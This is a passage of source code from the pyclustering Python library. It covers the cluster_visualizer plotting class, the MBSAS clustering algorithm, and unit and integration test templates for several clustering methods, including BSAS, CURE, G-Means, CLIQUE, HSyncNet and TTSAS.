`cluster_visualizer`: @code from pyclustering.utils import read_sample from pyclustering.samples.definitions import FCPS_SAMPLES from pyclustering.cluster import cluster_visualizer from pyclustering.cluster.dbscan import dbscan sample = read_sample(FCPS_SAMPLES.SAMPLE_ATOM) clusters = dbscan(sample, 15, 3).process().get_clusters() visualizer = cluster_visualizer() visualizer.append_clusters(clusters, sample) visualizer.show() @endcode Visualized clustering results of `Atom` data: @image html dbscan_atom_visualizer.png "Fig. 1. DBSCAN clustering results (3-dimensional data 'Atom')." @see cluster_visualizer_multidim """ def __init__(self, number_canvases=1, size_row=1, titles=None): """! @brief Constructor of cluster visualizer. @param[in] number_canvases (uint): Number of canvases that is used for visualization. @param[in] size_row (uint): Amount of canvases that can be placed in one row. @param[in] titles (list): List of canvas's titles. Example: @code # load 2D data sample sample_2d = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE1); # load 3D data sample sample_3d = read_sample(FCPS_SAMPLES.SAMPLE_HEPTA); # extract clusters from the first sample using DBSCAN algorithm dbscan_instance = dbscan(sample_2d, 0.4, 2, False); dbscan_instance.process(); clusters_sample_2d = dbscan_instance.get_clusters(); # extract clusters from the second sample using DBSCAN algorithm dbscan_instance = dbscan(sample_3d, 1, 3, True); dbscan_instance.process(); clusters_sample_3d = dbscan_instance.get_clusters(); # create plot with two canvases where each row contains 2 canvases. size = 2; row_size = 2; visualizer = cluster_visualizer(size, row_size); # place clustering result of sample_2d to the first canvas visualizer.append_clusters(clusters_sample_2d, sample_2d, 0, markersize = 5); # place clustering result of sample_3d to the second canvas visualizer.append_clusters(clusters_sample_3d, sample_3d, 1, markersize = 30); # show plot visualizer.show(); @endcode """ self.__number_canvases = number_canvases self.__size_row = size_row self.__canvas_clusters = [ [] for _ in range(number_canvases) ] self.__canvas_dimensions = [ None for _ in range(number_canvases) ] self.__canvas_titles = [ None for _ in range(number_canvases) ] if titles is not None: self.__canvas_titles = titles self.__default_2d_marker_size = 5 self.__default_3d_marker_size = 30 def append_cluster(self, cluster, data=None, canvas=0, marker='.', markersize=None, color=None): """! @brief Appends cluster to canvas for drawing. @param[in] cluster (array_like): cluster that may consist of indexes of objects from the data or object itself. @param[in] data (array_like): If defines that each element of cluster is considered as a index of object from the data. @param[in] canvas (uint): Number of canvas that should be used for displaying cluster. @param[in] marker (string): Marker that is used for displaying objects from cluster on the canvas. @param[in] markersize (uint): Size of marker. @param[in] color (string): Color of marker. @return Returns index of cluster descriptor on the canvas. """ if len(cluster) == 0: return if canvas > self.__number_canvases or canvas < 0: raise ValueError("Canvas index '%d' is out of range [0; %d]." % self.__number_canvases or canvas) if color is None: index_color = len(self.__canvas_clusters[canvas]) % len(color_list.TITLES) color = color_list.TITLES[index_color] added_canvas_descriptor = canvas_cluster_descr(cluster, data, marker, markersize, color) self.__canvas_clusters[canvas].append(added_canvas_descriptor) if data is None: dimension = len(cluster[0]) if self.__canvas_dimensions[canvas] is None: self.__canvas_dimensions[canvas] = dimension elif self.__canvas_dimensions[canvas] != dimension: raise ValueError("Only clusters with the same dimension of objects can be displayed on canvas.") else: dimension = len(data[0]) if self.__canvas_dimensions[canvas] is None: self.__canvas_dimensions[canvas] = dimension elif self.__canvas_dimensions[canvas] != dimension: raise ValueError("Only clusters with the same dimension of objects can be displayed on canvas.") if (dimension < 1) or (dimension > 3): raise ValueError("Only 1-, 2- and 3-dimensional data can be displayed. Please, use " "'cluster_visualizer_multidim' for visualization.") if markersize is None: if (dimension == 1) or (dimension == 2): added_canvas_descriptor.markersize = self.__default_2d_marker_size elif dimension == 3: added_canvas_descriptor.markersize = self.__default_3d_marker_size return len(self.__canvas_clusters[canvas]) - 1 def append_cluster_attribute(self, index_canvas, index_cluster, data, marker=None, markersize=None): """! @brief Append cluster attribure for cluster on specific canvas. @details Attribute it is data that is visualized for specific cluster using its color, marker and markersize if last two is not specified. @param[in] index_canvas (uint): Index canvas where cluster is located. @param[in] index_cluster (uint): Index cluster whose attribute should be added. @param[in] data (array_like): List of points (data) that represents attribute. @param[in] marker (string): Marker that is used for displaying objects from cluster on the canvas. @param[in] markersize (uint): Size of marker. """ cluster_descr = self.__canvas_clusters[index_canvas][index_cluster] attribute_marker = marker if attribute_marker is None: attribute_marker = cluster_descr.marker attribure_markersize = markersize if attribure_markersize is None: attribure_markersize = cluster_descr.markersize attribute_color = cluster_descr.color added_attribute_cluster_descriptor = canvas_cluster_descr(data, None, attribute_marker, attribure_markersize, attribute_color) self.__canvas_clusters[index_canvas][index_cluster].attributes.append(added_attribute_cluster_descriptor) def append_clusters(self, clusters, data=None, canvas=0, marker='.', markersize=None): """! @brief Appends list of cluster to canvas for drawing. @param[in] clusters (array_like): List of clusters where each cluster may consist of indexes of objects from the data or object itself. @param[in] data (array_like): If defines that each element of cluster is considered as a index of object from the data. @param[in] canvas (uint): Number of canvas that should be used for displaying clusters. @param[in] marker (string): Marker that is used for displaying objects from clusters on the canvas. @param[in] markersize (uint): Size of marker. """ for cluster in clusters: self.append_cluster(cluster, data, canvas, marker, markersize) def set_canvas_title(self, text, canvas=0): """! @brief Set title for specified canvas. @param[in] text (string): Title for the canvas. @param[in] canvas (uint): Index of the canvas where title should be displayed. """ if canvas > self.__number_canvases: raise ValueError("Canvas with index '%d' does not exists (total amount of canvases: '%d')." % canvas, self.__number_canvases) self.__canvas_titles[canvas] = text def get_cluster_color(self, index_cluster, index_canvas): """! @brief Returns cluster color on specified canvas. """ return self.__canvas_clusters[index_canvas][index_cluster].color def save(self, filename, **kwargs): """! @brief Saves figure to the specified file. @param[in] filename (string): File where the visualized clusters should be stored. @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'invisible_axis', 'visible_grid'). <b>Keyword Args:</b><br> - invisible_axis (bool): Defines visibility of axes on each canvas, if `True` - axes are invisible. By default axis are invisible. - visible_grid (bool): Defines visibility of grid on each canvas, if `True` - grid is displayed. By default grid of each canvas is displayed. There is an example how to save visualized clusters to the PNG file without showing them on a screen: @code from pyclustering.cluster import cluster_visualizer data = [[1.1], [1.7], [3.7], [5.3], [2.5], [-1.5], [-0.9], [6.3], [6.5], [8.1]] clusters = [[0, 1, 2, 4, 5, 6], [3, 7, 8, 9]] visualizer = cluster_visualizer() visualizer.append_clusters(clusters, data) visualizer.save("1-dimensional-clustering.png") @endcode """ if len(filename) == 0: raise ValueError("Impossible to save visualization to file: empty file path is specified.") invisible_axis = kwargs.get('invisible_axis', True) visible_grid = kwargs.get('visible_grid', True) self.show(None, invisible_axis, visible_grid, False) plt.savefig(filename) @staticmethod def close(figure): """! @brief Closes figure object that was used or allocated by the visualizer. @param[in] figure (figure): Figure object that was used or allocated by the visualizer. """ plt.close(figure) def show(self, figure=None, invisible_axis=True, visible_grid=True, display=True, shift=None): """! @brief Shows clusters (visualize) on created or existed figure. @details The class is not responsible figures that used for visualization, they should be closed using `close()` method of this visualizer. @param[in] figure (fig): Defines requirement to use specified figure, if None - new figure is created for drawing clusters. @param[in] invisible_axis (bool): Defines visibility of axes on each canvas, if True - axes are invisible. @param[in] visible_grid (bool): Defines visibility of grid on each canvas, if True - grid is displayed. @param[in] display (bool): Defines requirement to display clusters on a stage, if True - clusters are displayed, if False - plt.show() should be called by user." @param[in] shift (uint): Force canvas shift value - defines canvas index from which custers should be visualized. @return (fig) Figure where clusters are shown. """ canvas_shift = shift if canvas_shift is None: if figure is not None: canvas_shift = len(figure.get_axes()) else: canvas_shift = 0 if figure is not None: cluster_figure = figure else: cluster_figure = plt.figure() maximum_cols = self.__size_row maximum_rows = math.ceil((self.__number_canvases + canvas_shift) / maximum_cols) grid_spec = gridspec.GridSpec(maximum_rows, maximum_cols) for index_canvas in range(len(self.__canvas_clusters)): canvas_data = self.__canvas_clusters[index_canvas] if len(canvas_data) == 0: continue dimension = self.__canvas_dimensions[index_canvas] #ax = axes[real_index]; if (dimension == 1) or (dimension == 2): ax = cluster_figure.add_subplot(grid_spec[index_canvas + canvas_shift]) else: ax = cluster_figure.add_subplot(grid_spec[index_canvas + canvas_shift], projection='3d') if len(canvas_data) == 0: plt.setp(ax, visible=False) for cluster_descr in canvas_data: self.__draw_canvas_cluster(ax, dimension, cluster_descr) for attribute_descr in cluster_descr.attributes: self.__draw_canvas_cluster(ax, dimension, attribute_descr) if invisible_axis is True: ax.xaxis.set_ticklabels([]) ax.yaxis.set_ticklabels([]) if dimension == 3: ax.zaxis.set_ticklabels([]) if self.__canvas_titles[index_canvas] is not None: ax.set_title(self.__canvas_titles[index_canvas]) ax.grid(visible_grid) if display is True: plt.show() return cluster_figure def __draw_canvas_cluster(self, ax, dimension, cluster_descr): """! @brief Draw canvas cluster descriptor. @param[in] ax (Axis): Axis of the canvas where canvas cluster descriptor should be displayed. @param[in] dimension (uint): Canvas dimension. @param[in] cluster_descr (canvas_cluster_descr): Canvas cluster descriptor that should be displayed. @return (fig) Figure where clusters are shown. """ cluster = cluster_descr.cluster data = cluster_descr.data marker = cluster_descr.marker markersize = cluster_descr.markersize color = cluster_descr.color for item in cluster: if dimension == 1: if data is None: ax.plot(item[0], 0.0, color=color, marker=marker, markersize=markersize) else: ax.plot(data[item][0], 0.0, color=color, marker=marker, markersize=markersize) elif dimension == 2: if data is None: ax.plot(item[0], item[1], color=color, marker=marker, markersize=markersize) else: ax.plot(data[item][0], data[item][1], color=color, marker=marker, markersize=markersize) elif dimension == 3: if data is None: ax.scatter(item[0], item[1], item[2], c=color, marker=marker, s=markersize) else: ax.scatter(data[item][0], data[item][1], data[item][2], c=color, marker=marker, s=markersize) ``` #### File: pyclustering/cluster/mbsas.py ```python from pyclustering.core.mbsas_wrapper import mbsas as mbsas_wrapper from pyclustering.core.metric_wrapper import metric_wrapper from pyclustering.cluster.bsas import bsas class mbsas(bsas): """! @brief Class represents MBSAS (Modified Basic Sequential Algorithmic Scheme). @details Interface of MBSAS algorithm is the same as for BSAS. This algorithm performs clustering in two steps. The first - is determination of amount of clusters. The second - is assignment of points that were not marked as a cluster representatives to clusters. Code example of MBSAS usage: @code from pyclustering.cluster.bsas import bsas_visualizer from pyclustering.cluster.mbsas import mbsas from pyclustering.utils import read_sample from pyclustering.samples.definitions import SIMPLE_SAMPLES # Read data sample from 'Simple02.data'. sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE2) # Prepare algorithm's parameters. max_clusters = 3 threshold = 1.0 # Create instance of MBSAS algorithm. mbsas_instance = mbsas(sample, max_clusters, threshold) mbsas_instance.process() # Get clustering results. clusters = mbsas_instance.get_clusters() representatives = mbsas_instance.get_representatives() # Display results. bsas_visualizer.show_clusters(sample, clusters, representatives) @endcode @see pyclustering.cluster.bsas, pyclustering.cluster.ttsas """ def __init__(self, data, maximum_clusters, threshold, ccore=True, **kwargs): """! @brief Creates MBSAS algorithm. @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple. @param[in] maximum_clusters: Maximum allowable number of clusters that can be allocated during processing. @param[in] threshold: Threshold of dissimilarity (maximum distance) between points. @param[in] ccore (bool): If True than DLL CCORE (C++ solution) will be used for solving. @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'metric'). <b>Keyword Args:</b><br> - metric (distance_metric): Metric that is used for distance calculation between two points. """ super().__init__(data, maximum_clusters, threshold, ccore, **kwargs) def process(self): """! @brief Performs cluster analysis in line with MBSAS algorithm. @return (mbsas) Returns itself (MBSAS instance). @see get_clusters() @see get_representatives() """ if self._ccore is True: self.__process_by_ccore() else: self.__prcess_by_python() return self def __process_by_ccore(self): ccore_metric = metric_wrapper.create_instance(self._metric) self._clusters, self._representatives = mbsas_wrapper(self._data, self._amount, self._threshold, ccore_metric.get_pointer()) def __prcess_by_python(self): self._clusters.append([0]) self._representatives.append(self._data[0]) skipped_objects = [] for i in range(1, len(self._data)): point = self._data[i] index_cluster, distance = self._find_nearest_cluster(point) if (distance > self._threshold) and (len(self._clusters) < self._amount): self._representatives.append(point) self._clusters.append([i]) else: skipped_objects.append(i) for i in skipped_objects: point = self._data[i] index_cluster, _ = self._find_nearest_cluster(point) self._clusters[index_cluster].append(i) self._update_representative(index_cluster, point) ``` #### File: cluster/tests/bsas_templates.py ```python import matplotlib; matplotlib.use('Agg'); from pyclustering.tests.assertion import assertion; from pyclustering.cluster.bsas import bsas, bsas_visualizer; from pyclustering.utils import read_sample; from pyclustering.utils.metric import type_metric, distance_metric; class bsas_test_template: @staticmethod def clustering(path, amount, threshold, expected, ccore, **kwargs): metric = kwargs.get('metric', distance_metric(type_metric.EUCLIDEAN)); sample = read_sample(path); bsas_instance = bsas(sample, amount, threshold, ccore=ccore, metric=metric); bsas_instance.process(); clusters = bsas_instance.get_clusters(); representatives = bsas_instance.get_representatives(); obtained_length = 0; obtained_cluster_length = []; for cluster in clusters: obtained_length += len(cluster); obtained_cluster_length.append(len(cluster)); assertion.eq(len(sample), obtained_length); assertion.eq(len(expected), len(clusters)); assertion.eq(len(expected), len(representatives)); assertion.ge(amount, len(clusters)); dimension = len(sample[0]); for rep in representatives: assertion.eq(dimension, len(rep)); expected.sort(); obtained_cluster_length.sort(); assertion.eq(expected, obtained_cluster_length); @staticmethod def visualizing(path, amount, threshold, ccore): sample = read_sample(path); bsas_instance = bsas(sample, amount, threshold, ccore=ccore); bsas_instance.process(); bsas_visualizer.show_clusters(sample, bsas_instance.get_clusters(), bsas_instance.get_representatives()); ``` #### File: cluster/tests/cure_templates.py ```python import numpy from pyclustering.samples.definitions import SIMPLE_SAMPLES from pyclustering.utils import read_sample from pyclustering.cluster.cure import cure from pyclustering.cluster.encoder import type_encoding, cluster_encoder from pyclustering.tests.assertion import assertion from random import random class CureTestTemplates: @staticmethod def template_cluster_allocation(input_data, cluster_sizes, number_cluster, number_represent_points = 5, compression = 0.5, ccore_flag = False, **kwargs): if isinstance(input_data, str): sample = read_sample(input_data) else: sample = input_data numpy_usage = kwargs.get('numpy_usage', False) if numpy_usage is True: sample = numpy.array(sample) cure_instance = cure(sample, number_cluster, number_represent_points, compression, ccore = ccore_flag) cure_instance.process() clusters = cure_instance.get_clusters() representors = cure_instance.get_representors() means = cure_instance.get_means() assertion.eq(len(clusters), number_cluster) assertion.eq(len(representors), number_cluster) assertion.eq(len(means), number_cluster) obtained_cluster_sizes = [len(cluster) for cluster in clusters] total_length = sum(obtained_cluster_sizes) assertion.eq(total_length, len(sample)) cluster_sizes.sort() obtained_cluster_sizes.sort() assertion.eq(cluster_sizes, obtained_cluster_sizes) @staticmethod def templateClusterAllocationOneDimensionData(ccore_flag): input_data = [ [random()] for _ in range(10) ] + [ [random() + 3] for _ in range(10) ] + [ [random() + 5] for _ in range(10) ] + [ [random() + 8] for _ in range(10) ] cure_instance = cure(input_data, 4, ccore = ccore_flag) cure_instance.process() clusters = cure_instance.get_clusters() assertion.eq(4, len(clusters)) for cluster in clusters: assertion.eq(10, len(cluster)) @staticmethod def templateEncoderProcedures(ccore_flag): sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE3) cure_instance = cure(sample, 4, 5, 0.5, ccore = ccore_flag) cure_instance.process() clusters = cure_instance.get_clusters() encoding = cure_instance.get_cluster_encoding() encoder = cluster_encoder(encoding, clusters, sample) encoder.set_encoding(type_encoding.CLUSTER_INDEX_LABELING) encoder.set_encoding(type_encoding.CLUSTER_OBJECT_LIST_SEPARATION) encoder.set_encoding(type_encoding.CLUSTER_INDEX_LIST_SEPARATION) assertion.eq(4, len(clusters)) @staticmethod def exception(type, input_data, number_cluster, number_represent_points, compression, ccore_flag): try: if isinstance(input_data, str): sample = read_sample(input_data) else: sample = input_data cure_instance = cure(sample, number_cluster, number_represent_points, compression, ccore=ccore_flag) cure_instance.process() except type: return except Exception as ex: raise AssertionError("Expected: '%s', Actual: '%s'" % (type, type(ex).__name__)) raise AssertionError("Expected: '%s', Actual: 'None'" % type) ``` #### File: cluster/tests/gmeans_templates.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.samples import answer_reader from pyclustering.cluster.gmeans import gmeans from pyclustering.utils import read_sample class gmeans_test_template(unittest.TestCase): def clustering(self, sample_path, answer, amount, ccore, **kwargs): attempts = 10 failures = "" k_max = kwargs.get('k_max', -1) random_state = kwargs.get('random_state', None) data = read_sample(sample_path) if isinstance(answer, str): reader = answer_reader(answer) expected_length_clusters = sorted(reader.get_cluster_lengths()) amount_clusters = len(expected_length_clusters) elif isinstance(answer, int): expected_length_clusters = None amount_clusters = answer else: expected_length_clusters = answer amount_clusters = len(answer) for _ in range(attempts): gmeans_instance = gmeans(data, amount, ccore, k_max=k_max, random_state=random_state).process() clusters = gmeans_instance.get_clusters() centers = gmeans_instance.get_centers() wce = gmeans_instance.get_total_wce() self.assertEqual(amount_clusters, len(centers)) if len(clusters) > 1: self.assertGreater(wce, 0.0) else: self.assertGreaterEqual(wce, 0.0) if len(clusters) != amount_clusters: failures += "1. %d != %d\n" % (len(clusters), amount_clusters) continue unique_indexes = set() for cluster in clusters: for index_point in cluster: unique_indexes.add(index_point) if len(data) != len(unique_indexes): failures += "2. %d != %d\n" % (len(data), len(unique_indexes)) continue if expected_length_clusters is None: return expected_total_length = sum(expected_length_clusters) actual_total_length = sum([len(cluster) for cluster in clusters]) if expected_total_length != actual_total_length: failures += "3. %d != %d\n" % (expected_total_length, actual_total_length) continue actual_length_clusters = sorted([len(cluster) for cluster in clusters]) if expected_length_clusters != actual_length_clusters: failures += "4. %s != %s\n" % (str(expected_length_clusters), str(actual_length_clusters)) continue return self.fail("Expected result is not obtained during %d attempts: %s\n" % (attempts, failures)) ``` #### File: cluster/tests/__init__.py ```python from pyclustering.tests.suite_holder import suite_holder # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.tests.integration import clustering_integration_tests from pyclustering.cluster.tests.unit import clustering_unit_tests class clustering_tests(suite_holder): def __init__(self): super().__init__() clustering_integration_tests.fill_suite(self.get_suite()) clustering_unit_tests.fill_suite(self.get_suite()) @staticmethod def fill_suite(cluster_suite): clustering_integration_tests.fill_suite(cluster_suite) clustering_unit_tests.fill_suite(cluster_suite) ``` #### File: tests/integration/it_clique.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.cluster.clique import clique from pyclustering.cluster.tests.clique_templates import clique_test_template from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES from pyclustering.core.tests import remove_library from pyclustering.tests.assertion import assertion class clique_integration_test(unittest.TestCase): def test_clustering_sample_simple_1_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 7, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 5, 0, [5, 5], 0, True) def test_clustering_sample_simple_1_one_cluster_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 0, [10], 0, True) def test_clustering_diagonal_blocks_arent_neoghbors_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 0, [5, 5], 0, True) def test_clustering_sample_simple_1_noise_only_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 1000, [], 10, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 6, 10, [], 10, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 5, [], 10, True) def test_clustering_sample_simple_2_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 7, 0, [5, 8, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 6, 0, [5, 8, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1, 0, [23], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 6, 500, [], 23, True) def test_clustering_sample_simple_3_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 9, 0, [10, 10, 10, 30], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 8, 0, [10, 10, 10, 30], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1, 0, [60], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 6, 500, [], 60, True) def test_clustering_sample_simple_3_one_point_noise_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 2, 9, [59], 1, True) def test_clustering_sample_simple_4_one_cluster_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 1, 0, [75], 0, True) def test_clustering_sample_simple_5_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 8, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 7, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 6, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 5, 0, [15, 15, 15, 15], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 1, 0, [60], 0, True) def test_clustering_one_dimensional_data1_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 4, 0, [10, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 2, 0, [20], 0, True) def test_clustering_one_dimensional_data2_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 15, 0, [15, 20, 30, 80], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 2, 0, [145], 0, True) def test_clustering_one_dimensional_data_3_similar_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 7, 0, [10, 20], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE9, 2, 0, [30], 0, True) def test_clustering_sample_simple_10_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 8, 0, [11, 11, 11], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 7, 0, [11, 11, 11], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 2, 0, [33], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE10, 1, 0, [33], 0, True) def test_clustering_three_dimensional_data1_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 6, 0, [10, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 5, 0, [10, 10], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 1, 0, [20], 0, True) def test_clustering_similar_points_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 8, 0, [5, 5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 7, 0, [5, 5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 5, 0, [5, 5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 2, 0, [15], 0, True) def test_clustering_zero_column_by_core(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 3, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 2, 0, [5, 5], 0, True) clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE13, 1, 0, [10], 0, True) def test_clustering_fcps_lsun_by_core(self): clique_test_template.clustering(FCPS_SAMPLES.SAMPLE_LSUN, 15, 0, [100, 101, 202], 0, True) def test_clustering_fcps_hepta_by_core(self): clique_test_template.clustering(FCPS_SAMPLES.SAMPLE_HEPTA, 9, 0, [30, 30, 30, 30, 30, 30, 32], 0, True) def test_visualize_no_failure_one_dimensional_by_core(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 4, 0, True) clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE8, 7, 0, True) def test_visualize_no_failure_two_dimensional_by_core(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, True) clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 0, True) def test_visualize_no_failure_three_dimensional_by_core(self): clique_test_template.visualize(SIMPLE_SAMPLES.SAMPLE_SIMPLE11, 3, 0, True) def test_high_dimension_data_failure(self): data = [[0, 1, 2, 1, 3, 4, 5, 1, 2, 3, 3, 1, 3], [0, 1, 0, 1, 3, 8, 5, 5, 3, 3, 3, 0, 0]] clique_instance = clique(data, 15, 0) assertion.exception(RuntimeError, clique_instance.process) def test_processing_when_library_core_removed(self): self.run_removed_library_core_test() @remove_library def run_removed_library_core_test(self): clique_test_template.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 8, 0, [5, 5], 0, True) ``` #### File: tests/integration/it_hsyncnet.py ```python import unittest; import matplotlib; matplotlib.use('Agg'); from pyclustering.cluster.tests.hsyncnet_templates import HsyncnetTestTemplates; from pyclustering.nnet import solve_type; from pyclustering.samples.definitions import SIMPLE_SAMPLES; from pyclustering.core.tests import remove_library; class HsyncnetIntegrationTest(unittest.TestCase): def testClusteringSampleSimple1WithoutCollectingByCore(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, [5, 5], solve_type.FAST, 5, 0.3, False, True); def testClusteringSampleSimple1ByCore(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, [5, 5], solve_type.FAST, 5, 0.3, True, True); def testClusteringOneAllocationSampleSimple1ByCore(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, [10], solve_type.FAST, 5, 0.3, True, True); def testClusteringSampleSimple2ByCore(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 3, [10, 5, 8], solve_type.FAST, 5, 0.2, True, True); def testClusteringOneAllocationSampleSimple2ByCore(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1, [23], solve_type.FAST, 5, 0.2, True, True); def testClusteringOneDimensionDataSampleSimple7ByCore(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 2, [10, 10], solve_type.FAST, 5, 0.3, True, True); def testClusteringTheSameData1ByCore(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE12, 3, [5, 5, 5], solve_type.FAST, 5, 0.3, True, True); def testDynamicLengthCollectingByCore(self): HsyncnetTestTemplates.templateDynamicLength(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, None, 5, 0.3, True, True); def testDynamicLengthWithoutCollectingByCore(self): HsyncnetTestTemplates.templateDynamicLength(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, None, 5, 0.3, False, True); def testProcessingWhenLibraryCoreRemoved(self): self.runRemovedLibraryCoreTest() @remove_library def runRemovedLibraryCoreTest(self): HsyncnetTestTemplates.templateClustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, [5, 5], solve_type.FAST, 5, 0.3, False, True) ``` #### File: tests/integration/it_ttsas.py ```python import unittest; import matplotlib; matplotlib.use('Agg'); from pyclustering.core.tests import remove_library; from pyclustering.cluster.tests.ttsas_template import ttsas_test; from pyclustering.utils.metric import type_metric, distance_metric; from pyclustering.samples.definitions import SIMPLE_SAMPLES; class ttsas_integration_tests(unittest.TestCase): def testClusteringSampleSimple1(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1.0, 2.0, [5, 5], True); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 10.0, 20.0, [10], True); def testClusteringSampleSimple1Euclidean(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1.0, 2.0, [5, 5], True, metric=distance_metric(type_metric.EUCLIDEAN)); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 10.0, 20.0, [10], True, metric=distance_metric(type_metric.EUCLIDEAN)); def testClusteringSampleSimple1EuclideanSquare(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1.0, 2.0, [5, 5], True, metric=distance_metric(type_metric.EUCLIDEAN_SQUARE)); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 10.0, 20.0, [5, 5], True, metric=distance_metric(type_metric.EUCLIDEAN_SQUARE)); ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 100.0, 200.0, [10], True, metric=distance_metric(type_metric.EUCLIDEAN_SQUARE)); def testClusteringSampleSimple1Manhattan(self): ttsas_test.clustering(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1.0, 2.0, [5, 5], True, metric=distance_metric(type_metric.MANHATTAN)); 